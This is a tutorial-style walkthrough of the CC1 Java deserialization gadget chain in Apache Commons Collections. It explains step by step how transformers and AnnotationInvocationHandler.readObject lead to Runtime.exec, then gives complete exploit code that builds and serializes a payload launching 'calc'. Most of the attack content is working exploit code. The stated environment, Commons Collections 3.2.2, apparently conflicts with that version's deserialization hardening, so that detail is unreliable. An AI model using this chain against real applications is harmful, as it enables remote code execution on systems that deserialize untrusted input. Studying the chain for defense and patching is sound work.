Environment Setup
- Java version: 1.8.0_65
- Apache Commons Collections: 3.2.2
Vulnerability Overview
The CC1 gadget chain leverages the Transformer interface in Apache Commons Collections to achieve remote code execution (RCE) during Java deserialization when untrusted data is processed.
Exploitation Details
Step 1: Command Execution Primitive
The InvokerTransformer class implements the Transformer interface and allows method invocation via its constructor parameters:
InvokerTransformer transformer = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
);
transformer.transform(Runtime.getRuntime()); // Executes 'calc'
However, direct use of Runtime is not serializable, so reflection must be used to obtain it dynamically.
Step 2: Triggering Transformation via Map Mutation
The TransformedMap.decorate() method wraps a map and applies a transformer to values upon modification. When a value is updated via setValue(), the transformer executes:
Map<Object, Object> originalMap = new HashMap<>();
originalMap.put("key", "value");
Map<Object, Object> transformed = TransformedMap.decorate(
originalMap, null, transformer
);
for (Map.Entry<Object, Object> entry : transformed.entrySet()) {
entry.setValue(Runtime.getRuntime()); // Triggers transform()
}
But setValue() is protected in internal classes, requiring an indirect invocation path.
Step 3: Leveraging AnnotationInvocationHandler.readObject()
The sun.reflect.annotation.AnnotationInvocationHandler class implements Serializable and overrides readObject(). During deserialization, it iterates over annotation members and calls setValue() on each entry—provided the annotation has atleast one member.
Using Override.class fails because it has no members. Instead, Target.class (which declares members like value()) satisfies the condition.
Step 4: Building a Serializable Payload
Since Runtime isn’t serializable, we construct a chain using ChainedTransformer and ConstantTransformer to dynamically invoke Runtime.getRuntime().exec():
Transformer[] chain = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chained = new ChainedTransformer(chain);
This chain starts from the Runtime class object and progressively invokes methods to execute a command.
Final Exploit Code
public static void main(String[] args) throws Exception {
Transformer[] chain = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer transformerChain = new ChainedTransformer(chain);
HashMap<Object, Object> innerMap = new HashMap<>();
innerMap.put("value", "dummy");
Map<Object, Object> decoratedMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class<?> handlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> ctor = handlerClass.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object payload = ctor.newInstance(Target.class, decoratedMap);
serialize(payload);
unserialize("payload.ser");
}
private static void serialize(Object obj) throws Exception {
try (ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("payload.ser"))) {
out.writeObject(obj);
}
}
private static void unserialize(String file) throws Exception {
try (ObjectInputStream in = new ObjectInputStream(new FileInputStream(file))) {
in.readObject();
}
}
Upon deserialization, the gadget chain triggers command execution through the readObject() logic in AnnotationInvocationHandler, completing the RCE exploit.